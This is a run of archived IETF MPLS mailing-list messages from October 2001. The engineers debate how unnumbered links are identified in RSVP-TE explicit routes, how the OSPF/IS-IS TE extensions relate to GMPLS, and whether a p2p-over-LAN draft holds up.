> The HOP object in a Resv message identifies the interface on the
> downstream router that the Resv mesage is being sent from.  This is not
> the same as the the HOP object from the corresponding Path message,
> which identifies the interface on the upstream router that the Path
> message is being sent from.
> 
> When links are numbered, these two objects will have different values. 
> They will similarly have different values when the links are unnumbered.
> 
> -- David
> 



From owner-mpls@UU.NET  Wed Oct 24 14:06:14 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA09665
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 14:06:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdr22852;
	Wed, 24 Oct 2001 17:59:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdr10017
	for mpls-outgoing; Wed, 24 Oct 2001 17:58:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmdr09998
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 17:58:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdr27491
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:58:06 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandmail.sandburst.com [216.57.132.42])
	id QQlmdr20656
	for <mpls@UU.NET>; Wed, 24 Oct 2001 17:57:56 GMT
Message-ID: <3BD7012C.7CD84C38@sandburst.com>
Date: Wed, 24 Oct 2001 13:58:04 -0400
From: Eric Gray <eric.gray@sandburst.com>
MIME-Version: 1.0
To: David Charlap <David.Charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <200110241340.f9ODeo054781@merlot.juniper.net> <3BD6F0EF.C3C3A40B@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    Maybe I missed something: I thought support for unnumbered links
needed to be added for GMPLS because there are problems with these
links in the general case.  I was not aware that there are problems with
unnumbered links in the Ethernet, PPP, ATM and Frame Relay cases or
in basic signaling of MPLS explicit routes.

    What exactly are the problems with using unnumbered links in the
specific cases defined for MPLS?

You wrote:

> Yakov Rekhter wrote:
> >
> >> 4: Is there any way for an ingress router to compute an ERO with
> >>    unnumbered links in it if GMPLS is not implemented?  It appears
> >>    that support for unnumbered links was deleted from the TE
> >>    versions of OSPF and ISIS, and moved into the GMPLS versions of
> >>    those protocols, making the necessary information for ERO
> >>    computation unavailable in an MPLS environment.
> >
> > You certainly don't need to implement all the GMPLS routing and
> > signaling extensions in order to support unnumbered interfaces.
>
> Understood.  But if an ERO is to be auto-generated, and not manually
> entered, the box doing the computation needs to know the topology.
> Without the unnumbered extensions in OSPF/ISIS, any topology derived
> from routing will not distinguish multiple parallel unnumbered links.
> This will make it impossible to compute an ERO that uses the new ERO
> subobject to specify one such link.
>
> It wouldn't be very nice to require all of GMPLS in order to compute an
> ERO that specifies unnumbered links.
>
> I hope my explanation of this problem is clear.
>
> -- David

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Wed Oct 24 14:29:34 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10586
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 14:29:34 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdt25926;
	Wed, 24 Oct 2001 18:19:44 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdt01438
	for mpls-outgoing; Wed, 24 Oct 2001 18:19:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmdt01433
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 18:19:05 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdt26493
	for <mpls@uu.net>; Wed, 24 Oct 2001 18:15:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmds22034
	for <mpls@uu.net>; Wed, 24 Oct 2001 18:14:52 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA19001 for <mpls@uu.net>; Wed, 24 Oct 2001 14:15:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA01674 for mpls@uu.net; Wed, 24 Oct 2001 14:15:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmds00886
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 18:13:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmds28344
	for <mpls@UU.NET>; Wed, 24 Oct 2001 18:13:23 GMT
Received: from sj-msg-core-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-3.cisco.com [171.70.157.152])
	id QQlmds08665
	for <mpls@UU.NET>; Wed, 24 Oct 2001 18:13:41 GMT
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f9OIAm904329
	for <mpls@UU.NET>; Wed, 24 Oct 2001 11:11:13 -0700 (PDT)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id f9OIDBi10835
	for <mpls@UU.NET>; Wed, 24 Oct 2001 11:13:11 -0700 (PDT)
Received: from cisco.com (dhcp-171-69-39-121.cisco.com [171.69.39.121]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id LAA03022 for <mpls@UU.NET>; Wed, 24 Oct 2001 11:12:49 -0700 (PDT)
Message-ID: <3BD70459.3CFF289B@cisco.com>
Date: Wed, 24 Oct 2001 11:11:37 -0700
From: Bora Akyol <bora@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
CC: mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <200110241340.f9ODeo054781@merlot.juniper.net> <3BD6F0EF.C3C3A40B@marconi.com> <3BD7012C.7CD84C38@sandburst.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric

I think unnumbered links have value only in point-to-point links, I don't
think you can have unnumbered links on Ethernets.

The main problem with unnumbered links is that they are added as an
afterthought to both the ERO objects and the *-TE routing protocols.

I thought we had solved the issues that arise with the use of unnumbered
links by adding the TE router ID to the ERO object and by consistently
propagating this information via the routing protocols.

What still seems to be the issue?

Bora


Eric Gray wrote:

> David,
>
>     Maybe I missed something: I thought support for unnumbered links
> needed to be added for GMPLS because there are problems with these
> links in the general case.  I was not aware that there are problems with
> unnumbered links in the Ethernet, PPP, ATM and Frame Relay cases or
> in basic signaling of MPLS explicit routes.
>
>     What exactly are the problems with using unnumbered links in the
> specific cases defined for MPLS?
>
> You wrote:
>
> > Yakov Rekhter wrote:
> > >
> > >> 4: Is there any way for an ingress router to compute an ERO with
> > >>    unnumbered links in it if GMPLS is not implemented?  It appears
> > >>    that support for unnumbered links was deleted from the TE
> > >>    versions of OSPF and ISIS, and moved into the GMPLS versions of
> > >>    those protocols, making the necessary information for ERO
> > >>    computation unavailable in an MPLS environment.
> > >
> > > You certainly don't need to implement all the GMPLS routing and
> > > signaling extensions in order to support unnumbered interfaces.
> >
> > Understood.  But if an ERO is to be auto-generated, and not manually
> > entered, the box doing the computation needs to know the topology.
> > Without the unnumbered extensions in OSPF/ISIS, any topology derived
> > from routing will not distinguish multiple parallel unnumbered links.
> > This will make it impossible to compute an ERO that uses the new ERO
> > subobject to specify one such link.
> >
> > It wouldn't be very nice to require all of GMPLS in order to compute an
> > ERO that specifies unnumbered links.
> >
> > I hope my explanation of this problem is clear.
> >
> > -- David
>
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray



From owner-mpls@UU.NET  Wed Oct 24 14:40:57 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11011
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 14:40:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdu11012;
	Wed, 24 Oct 2001 18:31:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdu02409
	for mpls-outgoing; Wed, 24 Oct 2001 18:31:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmdu02402
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 18:31:03 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdt06101
	for <mpls@UU.NET>; Wed, 24 Oct 2001 18:28:26 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmdt05540
	for <mpls@UU.NET>; Wed, 24 Oct 2001 18:28:44 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA03331;
	Wed, 24 Oct 2001 14:28:01 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA07559;
	Wed, 24 Oct 2001 14:28:00 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLBJ0L>; Wed, 24 Oct 2001 14:28:01 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C938@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>,
        "Charlap, David"
	 <David.Charlap@Marconi.com>
Cc: mpls@UU.NET
Subject: RE: Questions on unnumbered links
Date: Wed, 24 Oct 2001 14:27:50 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Eric:

->     Maybe I missed something: I thought support for unnumbered links
-> needed to be added for GMPLS because there are problems with these
-> links in the general case.  
  
  I am not aware of the what are *all* the problems cause to move
  Unnumbered links from MPLS to GMPLS (apart from supporting parallel
  unnumbered links). If we closely look at the history of MPLS TE
  drafts (for example OSPF), I can see on/off kind of behavior. :) 

-> I was not aware that there are problems with
-> unnumbered links in the Ethernet, PPP, ATM and Frame Relay cases or
-> in basic signaling of MPLS explicit routes.

  Unnumbered Links doesn't make any sense to Ethernet (broadcast media).
  If IP is running on any L2 P2P technology doesn't need a unique
  identity for each interface (but traditional IP still carries).
  More over there are no problems w.r.t PPP, ATM etc. IP unnumbered 
  has been working for years, but in MPLS TE case the unique identity 
  for links in the topology still has some ambiguous grammar!

--Venkata Naidu

->     What exactly are the problems with using unnumbered links in the
-> specific cases defined for MPLS?
-> 
-> You wrote:
-> 
-> > Yakov Rekhter wrote:
-> > >
-> > >> 4: Is there any way for an ingress router to compute an ERO with
-> > >>    unnumbered links in it if GMPLS is not implemented?  
-> It appears
-> > >>    that support for unnumbered links was deleted from the TE
-> > >>    versions of OSPF and ISIS, and moved into the GMPLS 
-> versions of
-> > >>    those protocols, making the necessary information for ERO
-> > >>    computation unavailable in an MPLS environment.
-> > >
-> > > You certainly don't need to implement all the GMPLS routing and
-> > > signaling extensions in order to support unnumbered interfaces.
-> >
-> > Understood.  But if an ERO is to be auto-generated, and 
-> not manually
-> > entered, the box doing the computation needs to know the topology.
-> > Without the unnumbered extensions in OSPF/ISIS, any 
-> topology derived
-> > from routing will not distinguish multiple parallel 
-> unnumbered links.
-> > This will make it impossible to compute an ERO that uses 
-> the new ERO
-> > subobject to specify one such link.
-> >
-> > It wouldn't be very nice to require all of GMPLS in order 
-> to compute an
-> > ERO that specifies unnumbered links.
-> >
-> > I hope my explanation of this problem is clear.
-> >
-> > -- David
-> 
-> --
-> Eric Gray (mailto:eric.gray@sandburst.com)
-> http://www.mindspring.com/~ewgray
-> 
-> 
-> 


From owner-mpls@UU.NET  Wed Oct 24 14:54:44 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11519
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 14:54:44 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdv17233;
	Wed, 24 Oct 2001 18:46:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdv03977
	for mpls-outgoing; Wed, 24 Oct 2001 18:46:24 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmdv03970
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 18:46:19 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmdv15666
	for <mpls@uu.net>; Wed, 24 Oct 2001 18:46:07 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmdv15384
	for <mpls@uu.net>; Wed, 24 Oct 2001 18:45:56 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA05696
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:46:02 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA12470
	for <mpls@uu.net>; Wed, 24 Oct 2001 14:46:02 -0400 (EDT)
Message-ID: <3BD70C7F.DA9719E1@marconi.com>
Date: Wed, 24 Oct 2001 14:46:23 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Questions on unnumbered links
References: <200110241340.f9ODeo054781@merlot.juniper.net> <3BD6F0EF.C3C3A40B@marconi.com> <3BD7012C.7CD84C38@sandburst.com> <3BD70C5A.9FF43C61@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric Gray wrote:
>
> Maybe I missed something: I thought support for unnumbered links
> needed to be added for GMPLS because there are problems with these
> links in the general case.  I was not aware that there are problems
> with unnumbered links in the Ethernet, PPP, ATM and Frame Relay
> cases or in basic signaling of MPLS explicit routes.
>
> What exactly are the problems with using unnumbered links in the
> specific cases defined for MPLS?

Without extensions, an ERO can not specify which of several parallel
unnumbered links should be used for an LSP.

The unnumbered draft defines a new ERO subobject, which will allow for
this kind of specification.

But without thit unnumbered-link extensions in the IGP's topology, the
information necessary to compute an ERO using this subobject is not
present.

-- David


From owner-mpls@UU.NET  Wed Oct 24 15:05:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11750
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 15:05:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdv05695;
	Wed, 24 Oct 2001 18:58:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdv04731
	for mpls-outgoing; Wed, 24 Oct 2001 18:57:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmdv04707
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 18:57:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmdv26585
	for <mpls@UU.NET>; Wed, 24 Oct 2001 18:57:13 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmdv04133
	for <mpls@UU.NET>; Wed, 24 Oct 2001 18:57:31 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA07007;
	Wed, 24 Oct 2001 14:57:10 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA15535;
	Wed, 24 Oct 2001 14:57:10 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLBL0X>; Wed, 24 Oct 2001 14:57:11 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C939@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Bora Akyol'" <bora@cisco.com>
Cc: mpls@UU.NET
Subject: RE: Questions on unnumbered links
Date: Wed, 24 Oct 2001 14:57:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Bora:

-> What still seems to be the issue?

  Apart from what David mentioned, can you please tell me
  in a simple scenario where if a manual (strict/loose) ERO 
  is calculated along the unnumbered links path, how could
  a Network Management entity preserve *uniqueness* of  
  interface IDs (about some remote unnumbered links)?!
  I don't think, even IfIndexes are preserved after reboots.

--Venkata Naidu

-> Eric Gray wrote:
-> 
-> > David,
-> >
-> >     Maybe I missed something: I thought support for 
-> unnumbered links
-> > needed to be added for GMPLS because there are problems with these
-> > links in the general case.  I was not aware that there are 
-> problems with
-> > unnumbered links in the Ethernet, PPP, ATM and Frame Relay cases or
-> > in basic signaling of MPLS explicit routes.
-> >
-> >     What exactly are the problems with using unnumbered 
-> links in the
-> > specific cases defined for MPLS?
-> >
-> > You wrote:
-> >
-> > > Yakov Rekhter wrote:
-> > > >
-> > > >> 4: Is there any way for an ingress router to compute 
-> an ERO with
-> > > >>    unnumbered links in it if GMPLS is not 
-> implemented?  It appears
-> > > >>    that support for unnumbered links was deleted from the TE
-> > > >>    versions of OSPF and ISIS, and moved into the 
-> GMPLS versions of
-> > > >>    those protocols, making the necessary information for ERO
-> > > >>    computation unavailable in an MPLS environment.
-> > > >
-> > > > You certainly don't need to implement all the GMPLS routing and
-> > > > signaling extensions in order to support unnumbered interfaces.
-> > >
-> > > Understood.  But if an ERO is to be auto-generated, and 
-> not manually
-> > > entered, the box doing the computation needs to know the 
-> topology.
-> > > Without the unnumbered extensions in OSPF/ISIS, any 
-> topology derived
-> > > from routing will not distinguish multiple parallel 
-> unnumbered links.
-> > > This will make it impossible to compute an ERO that uses 
-> the new ERO
-> > > subobject to specify one such link.
-> > >
-> > > It wouldn't be very nice to require all of GMPLS in 
-> order to compute an
-> > > ERO that specifies unnumbered links.
-> > >
-> > > I hope my explanation of this problem is clear.
-> > >
-> > > -- David
-> >
-> > --
-> > Eric Gray (mailto:eric.gray@sandburst.com)
-> > http://www.mindspring.com/~ewgray
-> 


From owner-mpls@UU.NET  Wed Oct 24 15:10:03 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11941
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 15:10:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmdw15014;
	Wed, 24 Oct 2001 19:02:57 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmdw11184
	for mpls-outgoing; Wed, 24 Oct 2001 19:02:23 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmdw11015
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 19:02:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmdw23719
	for <mpls@UU.NET>; Wed, 24 Oct 2001 19:01:54 GMT
Received: from prattle.redback.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: prattle.redback.com [155.53.12.9])
	id QQlmdw10178
	for <mpls@UU.NET>; Wed, 24 Oct 2001 19:02:13 GMT
Received: from redback.com (yoo-hoo.redback.com [155.53.12.43])
	by prattle.redback.com (Postfix) with ESMTP
	id 8F87ACAB79; Wed, 24 Oct 2001 12:01:53 -0700 (PDT)
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>,
        "Charlap,          David" <David.Charlap@Marconi.com>, mpls@UU.NET
Subject: Re: Questions on unnumbered links 
In-reply-to: Mail from "Naidu, Venkata" <Venkata.Naidu@Marconi.com> 
 dated Wed, 24 Oct 2001 14:27:50 EDT
 <39469E08BD83D411A3D900204840EC5554C938@vie-msgusr-01.dc.fore.com> 
Date: Wed, 24 Oct 2001 12:01:53 -0700
From: Naiming Shen <naiming@redback.com>
Message-Id: <20011024190153.8F87ACAB79@prattle.redback.com>
Sender: owner-mpls@UU.NET
Precedence: bulk


Venkata,

<...cut...>
 ]
 ]  Unnumbered Links doesn't make any sense to Ethernet (broadcast media).

Just a simple comment on this, unnumbered interface can also be applied
to broadcast media such as Ethernet if using the IGP extension of
p2p-over-lan. for detail please check out:

http://www.ietf.org/internet-drafts/draft-ietf-isis-igp-p2p-over-lan-00.txt

thanks.

 ]  If IP is running on any L2 P2P technology doesn't need a unique
 ]  identity for each interface (but traditional IP still carries).
 ]  More over there are no problems w.r.t PPP, ATM etc. IP unnumbered 
 ]  has been working for years, but in MPLS TE case the unique identity 
 ]  for links in the topology still has some ambiguous grammar!
 ]
 ]--Venkata Naidu
 ]

- Naiming


From owner-mpls@UU.NET  Wed Oct 24 18:07:55 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA15286
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 18:07:55 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmei11064;
	Wed, 24 Oct 2001 22:07:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmei07585
	for mpls-outgoing; Wed, 24 Oct 2001 22:07:43 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmei07511
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 22:07:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmei23423
	for <mpls@UU.NET>; Wed, 24 Oct 2001 22:07:34 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmei10317
	for <mpls@UU.NET>; Wed, 24 Oct 2001 22:07:24 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA25412;
	Wed, 24 Oct 2001 18:07:31 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA04014;
	Wed, 24 Oct 2001 18:07:31 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLBYYG>; Wed, 24 Oct 2001 18:07:32 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C93A@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Naiming Shen'" <naiming@redback.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: RE: Questions on unnumbered links 
Date: Wed, 24 Oct 2001 18:07:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Naiming:

  This is another part of the story. I did look at the below
  mentioned draft. I am totally unconvinced about the proposal
  (especially section 4.4). Please clarify some of my comments:

  * Draft limited to only 2 routers in the LAN for convenient
    simulation of P2P network. The question here is nothing to
    do with "Routing Protocols", but about "IP Forwarding".
    Just with static routing, I should be able to forward 
    packets to any of the local/remote hosts/routers reachable
    through *that* interface.

  * Section 4.4:
    Option 1: So routers send all the *data" (even destined to 
              local hosts) to the other router in the LAN?

    Option 2: Initial part of section says...
         ...
 	   For example, if link-state IGP is not
	   configured over this p2p-over-lan link, 
         ...
         
       2. MAC address gleaning. If a dynamic routing protocol is running
          between the routers connected to the link, the MAC address of
          the remote device can be taken from a data-link frame carrying
          a packet of the corresponding routing protocol.    

    Even If I assume a dynamic routing protocol between routers,
    (which is contradictory to previous statement) will it be
    OK to sneak into all the data-link frames? I think it is not
    a good idea to find data-link addresses from uninitiated ways.

    Option 3: For example, let us consider multiple routers are 
              interconnected to multiple Ethernets.

           -------------------
              |         | 
             (A)       (B)
              |         |
           -------------------
                     
    In the above scenario, Can A advertise same IP address to all
    the interfaces? Can you please explain how can you forward packets 
    if a router has multiple unnumbered links to a broadcast network?

    Option 4: Can you please describe what are the other Broadcast or
              Multicast resolution mechanisms available?

    Finally, draft reads...

		Note, however, that use of the IP unnumbered
		option for point-to-point LAN links inherits the same 
            problems as those present for serial links, i.e., not 
            being able to ping or monitor a specific interface 
            between routers.

    Can you please explain why can't we able to ping/monitor a 
    specific unnumbered interface between routers? What is 
    preventing in present IP unnumbered case?

    In any case, TE/QoS on broadcast networks (shared media) is not 
    clearly defined. Will you agree? :)

--Venkata Naidu


-> Venkata,
-> 
-> <...cut...>
->  ]
->  ]  Unnumbered Links doesn't make any sense to Ethernet 
-> (broadcast media).
-> 
-> Just a simple comment on this, unnumbered interface can also 
-> be applied
-> to broadcast media such as Ethernet if using the IGP extension of
-> p2p-over-lan. for detail please check out:
-> 
